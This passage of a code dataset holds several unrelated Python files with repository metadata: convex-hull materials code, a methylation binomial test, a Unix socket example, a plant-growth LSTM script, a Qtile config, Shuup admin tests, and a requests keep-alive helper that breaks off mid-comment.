calculator[\"execution\"][\"exec_path\"] = \"aflow --run\"\n elif calculator[\"active\"] == 'vasp':\n calculator[\"execution\"][\"exec_path\"] = \"vasp6_serial\"\n\n\n startAdder = int(floor(startPoint/1000)) * 1000\n endAdder = int(floor((configIndex - 1)/1000)) * 1000\n\n if startAdder == endAdder: # Don't need to submit two jobs in this case. Just one, but we might have to add an offset if the numbers are too high.\n msg.info(\"Building one job submission file\")\n calculator[\"execution\"][\"offset\"] = startAdder\n mljob = Job(calculator[\"execution\"],exdir,calculator[\"execution\"][\"exec_path\"], arrayStart = startPoint-startAdder,arrayEnd = configIndex - 1 - endAdder)\n with chdir(buildpath):\n print('Building job file')\n mljob.write_jobfile('jobscript_vasp.sh')\n else: # We're going to have to submit two jobs to span the whole job array.\n msg.info(\"Building two job submission files\")\n #First job..\n calculator[\"execution\"][\"offset\"] = startAdder\n mljob = Job(calculator[\"execution\"],exdir,calculator[\"execution\"][\"exec_path\"], arrayStart = startPoint - startAdder,arrayEnd = 999)\n with chdir(buildpath):\n print('Building job file')\n mljob.write_jobfile('jobscript_vasp_1.sh')\n\n calculator[\"execution\"][\"offset\"] = endAdder - 1\n mljob = Job(calculator[\"execution\"],exdir,calculator[\"execution\"][\"exec_path\"], arrayStart = 1,arrayEnd = configIndex - endAdder)\n with chdir(buildpath):\n print('Building job file')\n mljob.write_jobfile('jobscript_vasp_2.sh')\n\n\n\n\n def writeReport(self,dset):\n import datetime\n nAtoms = len(self.crystals[0].crystalSpecies)\n print(' '.join(self.crystals[0].crystalSpecies))\n print(type(' '.join(self.crystals[0].crystalSpecies)))\n with open('dataReport_' + dset + '.txt', 'w') as f:\n f.write(dset + ' REPORT\\n')\n f.write(str(datetime.datetime.now()) + '\\n')\n f.write(\"{:54s} {:14s}{:13s}{:12s}{:27s}{:21s}{:10s}\".format(\"Title\",\" T. Energy\",\"Enery/Atom\",\"F. Energy\",\"Distance To Hull\",\"Conc.\",' '.join(self.crystals[0].crystalSpecies) + '\\n'))\n f.write('--------------------------------------------------------------------------------------------------------------------------------------------------------------------------\\n')\n for crystal in self.crystals:\n f.write(crystal.reportline)\n\n\n def ternaryXYcoords(self,concentrations):\n return concentrations[1] * 0.5 + concentrations[2],concentrations[1] * 0.5 * tan(60*pi/180)\n\n\n\n def findAllHullDistances(self):\n\n index = 1\n for crystal in self.crystals:\n print('crystal number',index)\n crystal.results[\"distToHull\"] = self.distanceToHull(crystal)\n index += 1\n\n\n # This is specific to ternary systems!!!!!\n def distanceToHull(self,crystal):\n from numpy import tan, pi,array,sqrt\n from numpy.linalg import norm\n fEnth = crystal.results[\"fEnth\"]\n\n xCoord = crystal.concentrations[1] * 0.5 + crystal.concentrations[2]\n yCoord = crystal.concentrations[1] * 0.5 * tan(60*pi/180)\n\n currentPoint = array([xCoord,yCoord])\n if True in [norm(currentPoint - r) < 1e-4 for r in [array([0,0]),array([1,0]),array([0.5,sqrt(3)/2])]]:\n print('Found pure substance-----------------------------------------------------------')\n return fEnth\n# print('Finding hull simplex for point: ({},{})'.format(xCoord,yCoord))\n foundSimplex = False\n index = 1\n for simplex in self.cHull:\n pointOne = array([self.data[simplex[0]][0],self.data[simplex[0]][1],self.data[simplex[0]][2]])\n pointTwo = array([self.data[simplex[1]][0],self.data[simplex[1]][1],self.data[simplex[1]][2]])\n pointThree = array([self.data[simplex[2]][0],self.data[simplex[2]][1],self.data[simplex[2]][2]])\n\n if pointOne[2] == 0 and pointTwo[2] == 0 and pointThree[2] == 0:\n # We know every point is in this simplex, which is the\n # top of the convex surface. We only care about the bottom\n # side of the hull.\n print(\"passing.. This shouldn't happen\")\n index += 1\n continue\n\n\n if pointInPolygon(currentPoint,[pointOne[:2],pointTwo[:2],pointThree[:2]]):\n print('found simplex')\n print('simplex number',index)\n index += 1\n #print(simplex)\n foundSimplex = True\n break\n\n index += 1\n if not foundSimplex:\n# return None\n msg.fatal(\"Can't find simplex for this crystal.\")\n\n\n\n xOne = pointOne[0]\n yOne = pointOne[1]\n zOne = pointOne[2]\n\n xTwo = pointTwo[0]\n yTwo = pointTwo[1]\n zTwo = pointTwo[2]\n\n xThree = pointThree[0]\n yThree = pointThree[1]\n zThree = pointThree[2]\n\n planeFunc = lambda x,y: (x * yTwo * zOne - x * yThree * zOne + xOne * y * zTwo - x * yOne * zTwo + x * yThree * zTwo - xOne * yThree * zTwo + xThree * (y * zOne - yTwo * zOne - y *zTwo + yOne * zTwo) - xOne * y * zThree + x * yOne * zThree - x * yTwo * zThree +xOne * yTwo * zThree + xTwo * (yThree * zOne - yOne * zThree + y * (zThree - zOne)) )/(xThree * (yOne - yTwo) + xOne * (yTwo - yThree) + xTwo * (yThree - yOne))\n\n distance = fEnth - planeFunc(xCoord,yCoord)\n print(\"Distance to hull is {} eVs. Crystal f Enth: {}, Hull Value: {}\".format(distance,fEnth,planeFunc(xCoord,yCoord)))\n return distance\n\n def deleteTopOfHull(self):\n from numpy import sqrt,array,tan,pi\n\n self.cHull = []\n for simplex in self.hull.simplices:\n r1 = array([self.data[simplex[0]][0],self.data[simplex[0]][1],self.data[simplex[0]][2]])\n r2 = array([self.data[simplex[1]][0],self.data[simplex[1]][1],self.data[simplex[1]][2]])\n r3 = array([self.data[simplex[2]][0],self.data[simplex[2]][1],self.data[simplex[2]][2]])\n if all(array([r1[2],r2[2],r3[2]]) == 0):\n # Don't include the top surface\n continue\n if r1[0] * tan(60 * pi/180) - r1[1] < 1e-4 and r2[0] * tan(60 * pi/180) - r2[1] < 1e-4 and (r3[0] * tan(60 * pi/180) - r3[1]) < 1e-4:\n # Don't include vertical plane\n continue\n if all(array([r1[1],r2[1],r3[1]]) == 0):\n # Don't include vertical plane\n continue\n if (-r1[0] * tan(60 * pi/180) + sqrt(3) - r1[1]) < 1e-4 and (-r2[0] * tan(60 * pi/180) + sqrt(3) - r2[1]) < 1e-4 and (-r3[0] * tan(60 * pi/180) + sqrt(3) - r3[1]) < 1e-4:\n # Don't include vertical plane\n continue\n self.cHull.append(simplex)\n\n def generateConvexHull(self,plot2D = False,plot3D=False,fileOutput = False):\n from scipy.spatial import ConvexHull\n from numpy import array,append,tan,pi,allclose\n from matplotlib import pyplot as plt\n from mpl_toolkits.mplot3d import Axes3D\n import matplotlib\n import itertools\n\n fig2d = plt.figure(1)\n fig3d = plt.figure(2)\n ax2d = fig2d.add_subplot(111)\n ax3d = fig3d.add_subplot(111,projection='3d')\n\n reducedDataSet = [x for x in self.crystals if x.results[\"fEnth\"] <= 0 and x.concentrations not in [[0.0,0.0,1.0],[0.0,1.0,0.0],[1.0,0.0,0.0]]]\n\n # Only include data for negative formation enthalpies and delete all of the pure crystals.\n self.data = [[x.concentrations[1] * 0.5 + x.concentrations[2],x.concentrations[1] * 0.5 * tan(60*pi/180),x.results[\"fEnth\"]] for x in reducedDataSet]\n\n # Add the pures back in and set their formation energies to 0\n self.data.append([0.0,0.0,0.0])\n self.data.append([1.0,0.0,0.0])\n self.data.append([0.5,0.5 * tan(60 * pi/180),0.0])\n\n self.hull = ConvexHull(self.data)\n\n # Delete top planes and vertical planes\n self.deleteTopOfHull()\n order = 3\n\n filewrite = open('cHullpts.out','w')\n included = []\n for simplex in self.cHull:\n xlist = []\n ylist = []\n zlist = []\n for point in simplex:\n x = self.data[point][0]\n y = self.data[point][1]\n z = self.data[point][2]\n xlist.append(x)\n ylist.append(y)\n zlist.append(z)\n if point not in included and point < len(reducedDataSet):\n filewrite.write(\"{:50s} {:6.3f} {:6.3f} {:6.3f} {:6.3f}\\n\".format(reducedDataSet[point].title, reducedDataSet[point].concentrations[0],reducedDataSet[point].concentrations[1],reducedDataSet[point].concentrations[2], reducedDataSet[point].results[\"fEnth\"]) )\n included.append(point)\n xlist.append(xlist[0])\n ylist.append(ylist[0])\n zlist.append(zlist[0])\n if plot3D:\n ax3d.plot(xlist,ylist,zlist)\n if plot2D:\n #ax.scatter(xlist,ylist,zlist,marker = '+')\n ax2d.plot(xlist,ylist,marker = '+')#,[data[i[0]][2],data[i[1]][2],data[i[2]][2]]\n\n\n if plot2D:\n print('saving figure')\n cm = plt.cm.get_cmap('autumn')\n plottwoD = ax2d.scatter([float(x[0]) for x in self.data],[float(x[1]) for x in self.data],c=[float(x[2]) for x in self.data],marker= '+',cmap = cm)\n #plt.autumn()\n fig2d.colorbar(plottwoD)\n fig2d.savefig('convex_hull_2d.png')\n if plot3D:\n ax3d.view_init(elev = 20,azim = -85)\n # ax3d.scatter([float(x[0]) for x in self.data],[float(x[1]) for x in self.data],[float(x[2]) for x in self.data],marker= '+')\n fig3d.savefig('convex_hull.png')\n filewrite.close()\n # import sys\n # sys.exit()\n# import sys\n# sys.exit()\n# # pyplot.plot(self.concs,self.formationenergies,'r+')\n# plotConcs = []\n# plotEnergies = []\n## pyplot.plot(data[hull.vertices,0], data[hull.vertices,1],'b-',lw = 2)\n# print(self.hull.vertices, 'verts')\n# print(len(self.data))\n# print(len(self.titles))\n# print([self.titles[x] for x in vertices])\n#\n# print(vertices,' verts')\n# pyplot.figure(figsize = (15,10))\n# if plotAll:\n# pyplot.plot([x[0] for x in self.data],[x[1] for x in self.data],'r+')\n# for ivert,vertex in enumerate(vertices):\n# if self.data[vertex,1] <= 0:\n# plotConcs.append(self.data[vertex,0])\n# plotEnergies.append(self.data[vertex,1])\n# pyplot.plot(plotConcs,plotEnergies,'xk-',linewidth=2.3,markersize = 8)\n# font = {'family':'normal',\n# 'weight': 'bold',\n# 'size': 22}\n# matplotlib.rc('font',**font)\n# pyplot.xlabel(' Ag', fontsize = 24)\n# pyplot.ylabel(\"Formation Energy (eV/atom)\", fontsize = 24)\n# pyplot.xticks(fontsize=22)\n# pyplot.yticks(fontsize=22)\n# pyplot.title(\"Convex Hull Plot\")\n# pyplot.savefig('chull.png')\n","repo_name":"lancejnelson/aBuild","sub_path":"aBuild/database/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":26810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"35934167516","text":"#!/usr/local/bin/python2.7\n##Perform binomial test on each gene\n\n\nimport sys\nimport os\nimport getopt\nfrom scipy import stats\n\ndef main(argv):\n\tinput = argv[0] ##input methylation data. This should be output file generated from the \"get_feature_methylation_data.py\" script\n\toutput = argv[1] ##output file, duh\n\t\n\tdata = open(input)\n\tout = open(output, \"w\")\n\t\n\tout.write(\"Locus\ttotal_CG\tmCG\tpval_CG\ttotal_CHG\tmCHG\tpval_CHG\ttotal_CHH\tmCHH\tpval_CHH\" + \"\\n\")\n\t\n\tCG = 0\n\tmCG = 0\n\tCHG = 0\n\tmCHG = 0\n\tCHH = 0\n\tmCHH = 0\n\t\n\tnext(data)\n\tfor line in data:\n\t\tper_row = line.split('\\t')\n\t\t\n\t\tCG = int(per_row[1])\n\t\tmCG = int(per_row[2])\n\t\tCHG = int(per_row[6])\n\t\tmCHG = int(per_row[7])\n\t\tCHH = int(per_row[11])\n\t\tmCHH = int(per_row[12])\n\t\t\n\t\tpCG = stats.binom.sf(mCG-1,CG,0.236862727155) ##These values were determined from the coding sequence methylation levels of all 34 species in the study\n\t\tpCHG = stats.binom.sf(mCHG-1,CHG,0.0554156350293)\n\t\tpCHH = stats.binom.sf(mCHH-1,CHH,0.0115659429912)\n\t\t\n\t\tout.write(str(per_row[0]) + \"\\t\")\n\t\tout.write(str(CG) + \"\\t\")\n\t\tout.write(str(mCG) + \"\\t\")\n\t\tout.write(str(pCG) + \"\\t\")\n\t\tout.write(str(CHG) + \"\\t\")\n\t\tout.write(str(mCHG) + \"\\t\")\t\n\t\tout.write(str(pCHG) + \"\\t\")\n\t\tout.write(str(CHH) + \"\\t\")\n\t\tout.write(str(mCHH) + \"\\t\")\t\n\t\tout.write(str(pCHH) + \"\\n\")\t\n\t\t\n\tdata.close()\n\tout.close()\n\t\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n\t\t\n\t\t","repo_name":"schmitzlab/Widespread-natural-variation-of-DNA-methylation-within-angiosperms","sub_path":"binomial_test.py","file_name":"binomial_test.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"21159404386","text":"# -*- coding: utf-8 -*-\nimport socket\nimport os\n\nprint(\"Opening socket...\")\nserver = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)\nserver.bind(\"/tmp/python_unix_sockets_example\")\n\nprint(\"Listening...\")\nwhile True:\n datagram = server.recv(1024)\n if not datagram:\n break\n else:\n print(\"-\" * 20)\n print(datagram.decode('utf-8'))\n if \"DONE\" == datagram.decode('utf-8'):\n break\nprint(\"-\" * 20)\nprint(\"Shutting down...\")\nserver.close()\nprint(\"Done\")","repo_name":"KB-perByte/CodePedia","sub_path":"local/RH/unixSocket/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"4255366445","text":"import pandas as pd\nimport numpy as np\nimport os\nimport glob\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score, accuracy_score\nfrom xgboost import XGBClassifier, XGBRegressor\nfrom tensorflow.python.keras.models import Sequential \nfrom tensorflow.python.keras.layers import Dense, GRU, LSTM, Dropout\n\n\n\n\n\npath = './_data/dacon_plant/'\nall_input_list = sorted(glob.glob(path + 'train_input/*.csv'))\nall_target_list = sorted(glob.glob(path + 'train_target/*.csv'))\n\ntrain_input_list = all_input_list[:50]\ntrain_target_list = all_target_list[:50]\n\nval_input_list = all_input_list[50:]\nval_target_list = all_target_list[50:]\n\n# print(all_input_list)\nprint(val_input_list)\nprint(len(val_input_list)) # 8\n\ndef aaa(input_paths, target_paths): #, infer_mode):\n input_paths = input_paths\n target_paths = target_paths\n # self.infer_mode = infer_mode\n \n data_list = []\n label_list = []\n print('시작...')\n # for input_path, target_path in tqdm(zip(input_paths, target_paths)):\n for input_path, target_path in zip(input_paths, target_paths):\n input_df = pd.read_csv(input_path)\n target_df = pd.read_csv(target_path)\n \n input_df = input_df.drop(columns=['시간'])\n input_df = input_df.fillna(0)\n \n input_length = int(len(input_df)/1440)\n target_length = int(len(target_df))\n print(input_length, target_length)\n \n for idx in range(target_length):\n time_series = input_df[1440*idx:1440*(idx+1)].values\n # self.data_list.append(torch.Tensor(time_series))\n data_list.append(time_series)\n for label in target_df[\"rate\"]:\n label_list.append(label)\n return np.array(data_list), np.array(label_list)\n print('끗.')\n\nx_train, y_train = aaa(train_input_list, train_target_list) #, False)\nx_test, y_test = aaa(val_input_list, val_target_list) #, False)\n\n\nprint(x_train[0])\nprint(len(x_train), len(y_train)) # 1607 1607\nprint(len(x_train[0])) # 1440\nprint(y_train) # 1440\nprint(x_train.shape, y_train.shape) # (1607, 1440, 37) (1607,)\nprint(x_test.shape, y_test.shape) # (206 , 1440, 37) (206,)\n\n# x_train = x_train.reshape(1607, 1440*37)\n# x_test = x_test.reshape(206 , 1440*37)\n\n#2. 모델구성\n# model = XGBRegressor(tree_method='gpu_hist', predictor='gpu_predictor', gpu_id=0)\n\nmodel = Sequential() \n# model.add(SimpleRNN(10, input_shape=(3, 1))) # [batch, timesteps, feature].\nmodel.add(LSTM(units=100, input_shape=(1440, 37))) # input_shape가 input_length=3, input_dim=1 로 사용가능\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(100, activation='relu'))\nmodel.add(Dense(1))\n\n#3. 훈련\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(x_train, y_train, batch_size=150, epochs=1)\n\n\n\n#4. 결과, 예측\nresult = model.evaluate(x_test, y_test)\nprint('model.score :', result)\n\ny_predict = model.predict(x_test)\n# r2 = r2_score(y_test, y_predict)\n# print('r2_score :', r2)\n\n\n# model.score : -1.1955752854294874\n# r2_score : -1.1955752854294874\n\n\n\n\n\n\n# y_predict -> TEST_ files\nfor i in range(6):\n thislen=0\n thisfile = './_data/dacon_plant/sample_submission/'+'TEST_0'+str(i+1)+'.csv' \n test = pd.read_csv(thisfile, index_col=False)\n test['rate'] = y_predict[thislen:thislen+len(test['rate'])]\n test.to_csv(thisfile, index=False)\n thislen+=len(test['rate'])\n\n\n# TEST_ files -> zip file\nimport zipfile\nfilelist = ['TEST_01.csv','TEST_02.csv','TEST_03.csv','TEST_04.csv','TEST_05.csv', 'TEST_06.csv']\nos.chdir(\"./_data/dacon_plant/sample_submission/\")\nwith zipfile.ZipFile(\"submissionKeras.zip\", 'w') as my_zip:\n for i in filelist:\n my_zip.write(i)\n my_zip.close()\n\n# 5. 제출 준비\n","repo_name":"Developer-Moon/study","sub_path":"DACON, Kaggle/DACON_03_Plant.py","file_name":"DACON_03_Plant.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"86681665907","text":"\"\"\"layout and group\"\"\"\nimport re\n\nfrom libqtile import qtile\nfrom libqtile.backend import base\nfrom libqtile.config import DropDown, Group, Match, ScratchPad\nfrom libqtile.log_utils import logger\nfrom my_modules.global_config import GLOBAL\nfrom my_modules.layouts import layout1, layout2, layout3, layout4\n\n_rule_code = [\n {\"wm_class\": \"code\"},\n {\"wm_class\": GLOBAL.terminal_class if GLOBAL.terminal_class is not None else GLOBAL.terminal},\n]\n\n_rule_browse = [{\"wm_class\": \"vivaldi-stable\"}, {\"wm_class\": \"firefox\"}]\n# _rule_paper = {wm_class:\"org.pwmt.zathura\"}\n_rule_paper = []\n\n_rule_analyze = [\n {\"title\": \"WaveSurfer 1.8.8p5\"},\n {\"wm_class\": \"thunar\"},\n {\"wm_class\": \"nemo\"},\n]\n\n_rule_full = [\n {\"wm_class\": \"Steam\"},\n {\"wm_class\": \"lutris\"},\n {\"wm_class\": \"resolve\"},\n {\"wm_class\": \"krita\"},\n {\"wm_class\": \"Gimp\"},\n {\"wm_class\": \"Blender\"},\n {\"wm_class\": \"unityhub\"},\n {\"wm_class\": \"Unity\"},\n {\"wm_class\": \"obs\"},\n {\"wm_class\": \".obs-wrapped_\"},\n {\"wm_class\": \"audacity\"},\n {\"wm_class\": \"Looking Glass (client)\"},\n]\n\n_rule_sns = [\n {\"wm_class\": \"slack\"},\n {\"wm_class\": \"discord\"},\n {\"wm_class\": \"element\"},\n {\"wm_class\": \"ferdium\"},\n {\"wm_class\": \"zoom\"},\n]\n\n_rule_media = [\n {\"wm_class\": \"spotify\"},\n {\"wm_class\": \"pavucontrol\"},\n {\"wm_class\": \".blueman-manager-wrapped\"},\n]\n\n_group_and_rule = {\n \"code\": (\"\", (layout2, layout3), _rule_code),\n \"browse\": (\"\", (layout1,), _rule_browse),\n \"paper\": (\"\", (layout1,), _rule_paper),\n \"analyze\": (\"\", (layout1,), _rule_analyze),\n \"full\": (\"\", (layout4,), _rule_full),\n \"sns\": (\"\", (layout1,), _rule_sns),\n \"media\": (\"\", (layout2, layout3), _rule_media),\n}\n\n\n_rule_scratchpad = {\n DropDown(\"term\", GLOBAL.terminal, opacity=0.8),\n DropDown(\"copyq\", \"copyq show\", opacity=0.7),\n DropDown(\"bluetooth\", \"blueman-manager\", opacity=0.7),\n DropDown(\"volume\", \"pavucontrol\", opacity=0.7),\n}\n\n\nclass MatchWithCurrentScreen(Match):\n def __init__(self, screen_id: str | None = None, **kwargs):\n super().__init__(**kwargs)\n self.screen_id = screen_id\n\n def compare(self, client: base.Window) -> bool:\n value: Any\n for property_name, rule_value in self._rules.items():\n if property_name == \"title\":\n value = client.name\n elif \"class\" in property_name:\n wm_class = client.get_wm_class()\n if not wm_class:\n return False\n if property_name == \"wm_instance_class\":\n value = wm_class[0]\n else:\n value = wm_class\n elif property_name == \"role\":\n value = client.get_wm_role()\n elif property_name == \"func\":\n return rule_value(client)\n elif property_name == \"net_wm_pid\":\n value = client.get_pid()\n elif property_name == \"wid\":\n value = client.wid\n else:\n value = client.get_wm_type()\n\n # Some of the window.get_...() functions can return None\n if value is None:\n return False\n\n is_focus = self.screen_id in re.sub(\"-[a-z0-9]+\", \"\", qtile.current_group.name, flags=re.IGNORECASE)\n match = self._get_property_predicate(property_name, value)\n if not match(rule_value) or not is_focus:\n return False\n\n if not self._rules:\n return False\n return True\n\n\n_display_tablet = {\"creation\": (\"󰂫\", layout4)}\n\nGROUP_PER_SCREEN = len(_group_and_rule)\n\n\ndef _set_groups():\n groups = []\n\n for n in range(GLOBAL.num_screen):\n for k, (label, layouts, rules) in _group_and_rule.items():\n if n == 1 and len(layouts) > 1:\n layouts = layouts[1]\n else:\n layouts = layouts[0]\n name = \"{}-{}\".format(n, k)\n matches = [MatchWithCurrentScreen(screen_id=str(n), **rule) for rule in rules]\n groups.append(Group(name, layouts=layouts, matches=matches, label=label))\n if GLOBAL.is_display_tablet:\n name = list(_display_tablet.keys())[0]\n groups.append(\n Group(\n \"{}\".format(name),\n layouts=_display_tablet[name][1],\n label=_display_tablet[name][0],\n )\n )\n groups.append(ScratchPad(\"scratchpad\", _rule_scratchpad))\n\n return groups\n\n\ngroups = _set_groups()\n","repo_name":"misumisumi/nixos-desktop-config","sub_path":"apps/user/full/wm/qtile/conf/my_modules/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"63"} +{"seq_id":"16809131078","text":"import pytest\nfrom filer.models import File\n\nfrom shuup.admin.module_registry import replace_modules\nfrom shuup.admin.modules.categories import CategoryModule\nfrom shuup.admin.modules.manufacturers import ManufacturerModule\nfrom shuup.admin.modules.product_types import ProductTypeModule\nfrom shuup.admin.modules.products import ProductModule\nfrom shuup.admin.modules.products.views import (\n ProductEditView, ProductMediaBulkAdderView\n)\nfrom shuup.admin.modules.services import (\n PaymentMethodModule, ShippingMethodModule\n)\nfrom shuup.admin.utils.urls import get_model_url\nfrom shuup.admin.views.search import get_search_results\nfrom shuup.core.models import ProductMedia, ProductMediaKind, ProductVisibility\nfrom shuup.importer.admin_module import ImportAdminModule\nfrom shuup.testing.factories import (\n create_product, get_default_product, get_default_shop\n)\nfrom shuup.testing.utils import apply_request_middleware\nfrom shuup_tests.admin.utils import admin_only_urls\nfrom shuup_tests.utils import empty_iterable\n\n\n@pytest.mark.django_db\ndef test_product_module_search(rf, admin_user):\n get_default_shop()\n request = apply_request_middleware(rf.get(\"/\"), user=admin_user)\n\n with replace_modules([CategoryModule, ImportAdminModule, ProductModule,\n ProductTypeModule, ManufacturerModule, PaymentMethodModule, ShippingMethodModule]):\n with admin_only_urls():\n default_product = get_default_product()\n model_url = get_model_url(default_product)\n sku = default_product.sku\n assert any(sr.url == model_url for sr in get_search_results(request, query=sku)) # Queries work\n assert any(sr.is_action for sr in get_search_results(request, query=sku[:5])) # Actions work\n assert empty_iterable(get_search_results(request, query=sku[:2])) # Short queries don't\n\n\n@pytest.mark.django_db\ndef test_product_edit_view_works_at_all(rf, admin_user):\n shop = get_default_shop()\n product = create_product(\"test-product\", shop, default_price=200)\n shop_product = product.get_shop_instance(shop)\n shop_product.visibility_limit = ProductVisibility.VISIBLE_TO_GROUPS\n shop_product.save()\n request = apply_request_middleware(rf.get(\"/\"), user=admin_user)\n\n with replace_modules([CategoryModule, ImportAdminModule, ProductModule,\n ProductTypeModule, ManufacturerModule, PaymentMethodModule, ShippingMethodModule]):\n with admin_only_urls():\n view_func = ProductEditView.as_view()\n response = view_func(request, pk=product.pk)\n response.render()\n assert (product.sku in response.rendered_content) # it's probable the SKU is there\n response = view_func(request, pk=None) # \"new mode\"\n assert response.rendered_content # yeah, something gets rendered\n\n\n@pytest.mark.django_db\ndef test_product_edit_view_with_params(rf, admin_user):\n get_default_shop()\n sku = \"test-sku\"\n name = \"test name\"\n request = apply_request_middleware(rf.get(\"/\", {\"name\": name, \"sku\": sku}), user=admin_user)\n\n with replace_modules([CategoryModule, ImportAdminModule, ProductModule,\n ProductTypeModule, ManufacturerModule, PaymentMethodModule, ShippingMethodModule]):\n with admin_only_urls():\n view_func = ProductEditView.as_view()\n response = view_func(request)\n assert (sku in response.rendered_content) # it's probable the SKU is there\n assert (name in response.rendered_content) # it's probable the name is there\n\n@pytest.mark.django_db\ndef test_product_media_bulk_adder(rf):\n shop = get_default_shop()\n product = create_product(\"test-product\", shop)\n f = File.objects.create(name=\"test\")\n f2 = File.objects.create(name=\"test2\")\n assert not ProductMedia.objects.count()\n\n view_func = ProductMediaBulkAdderView.as_view()\n # bad request - no params\n request = apply_request_middleware(rf.post(\"/\"))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # bad request - invalid shop\n request = apply_request_middleware(rf.post(\"/\", {\"shop_id\": 0, \"file_ids\": [f.id], \"kind\": \"media\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # bad request - invalid product\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\": [f.id], \"kind\": \"media\"}))\n response = view_func(request, pk=100)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # bad request - invalid kind\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\": [f.id], \"kind\": \"test\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # bad request - invalid file\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\": [0], \"kind\": \"media\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # bad request - empty file array\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\": [], \"kind\": \"media\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 400\n assert not ProductMedia.objects.count()\n # add one file\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\":[f.id], \"kind\": \"media\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 200\n assert ProductMedia.objects.filter(product_id=product.pk, file_id=f.id, kind=ProductMediaKind.GENERIC_FILE).exists()\n # add two files but one already exists\n request = apply_request_middleware(rf.post(\"/\", {\"file_ids\":[f.id, f2.id], \"kind\": \"media\"}))\n response = view_func(request, pk=product.pk)\n assert response.status_code == 200\n assert ProductMedia.objects.count() == 2\n assert ProductMedia.objects.filter(product_id=product.pk, file_id=f2.id, kind=ProductMediaKind.GENERIC_FILE).exists()\n","repo_name":"cndn/intelligent-code-completion","sub_path":"raw_data/53305_test_product_module.py","file_name":"53305_test_product_module.py","file_ext":"py","file_size_in_byte":6145,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"63"} +{"seq_id":"2703075126","text":"import time\nimport socket\nimport requests\nimport urllib3\n\nfrom oslo_log import log as logging\n\nurllib3.disable_warnings()\nLOG = logging.getLogger(__name__)\n\nREQUESTS_VERSION = tuple(int(v) for v in requests.__version__.split('.'))\n\n\nclass TCPKeepAliveAdapter(requests.adapters.HTTPAdapter):\n \"\"\"The custom adapter used to set TCP Keep-Alive on all connections.\n\n This Adapter also preserves the default behaviour of Requests which\n disables Nagle's Algorithm. See also:\n https://blogs.msdn.com/b/windowsazurestorage/archive/2010/06/25/nagle-s-algorithm-is-not-friendly-towards-small-requests.aspx\n \"\"\"\n\n def init_poolmanager(self, *args, **kwargs):\n\n try:\n with open('/proc/version', 'r') as f:\n is_windows_linux_subsystem = 'microsoft' in f.read().lower()\n except IOError:\n is_windows_linux_subsystem = False\n\n if 'socket_options' not in kwargs and REQUESTS_VERSION >= (2, 4, 1):\n socket_options = [\n # Keep Nagle's algorithm off\n (socket.IPPROTO_TCP, socket.TCP_NODELAY, 1),\n # Turn on TCP Keep-Alive\n (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),\n ]\n\n # Some operating systems (e.g., OSX) do not support setting\n # keepidle\n if hasattr(socket, 'TCP_KEEPIDLE'):\n socket_options += [\n # Wait 60 seconds before sending keep-alive probes\n (socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 60)\n ]\n\n # Windows subsystem for Linux does not support this feature\n if (hasattr(socket, 'TCP_KEEPCNT') and\n not is_windows_linux_subsystem):\n socket_options += [\n # Set the maximum number of keep-alive probes\n (socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 4),\n ]\n\n if hasattr(socket, 'TCP_KEEPINTVL'):\n socket_options += [\n # Send keep-alive probes every 15 seconds\n (socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 15),\n ]\n\n # After waiting 60 seconds, and then sending a probe once every 15\n # seconds 4 times, these options should ensure that a connection\n # hands for no longer than 2 minutes before a ConnectionError is\n # raised.\n kwargs['socket_options'] = socket_options\n super(TCPKeepAliveAdapter, self).init_poolmanager(*args, **kwargs)\n\n\ndef _construct_session(session_obj=None):\n # NOTE(morganfainberg): if the logic in this function changes be sure to\n # update the betamax fixture's '_construct_session_with_betamax\" function\n # as well.\n if not session_obj:\n session_obj = requests.Session()\n # Use TCPKeepAliveAdapter to fix bug 1323862\n for scheme in list(session_obj.adapters):\n session_obj.mount(scheme, TCPKeepAliveAdapter())\n return session_obj\n\n\nclass RestRequest(object):\n\n def __init__(self):\n self.session = _construct_session()\n self.detect_port_is_open_timeout = 3\n\n def _send_request(self, method, url, connect_retries=3, connect_retry_delay=0.5, **kwargs):\n # NOTE(jamie len nox): We handle redirection manually because the\n # requests lib follows some browser patterns where it will redirect\n # POSTs as GETs for certain statuses which is not want we want for an\n # API. See: https://en.wikipedia.org/wiki/Post/Redirect/Get\n\n # NOTE(jamie len nox): The interaction between retries and redirects are\n # handled naively. We will attempt only a maximum number of retries and\n # redirects rather than per request limits. Otherwise the extreme case\n # could be redirects * 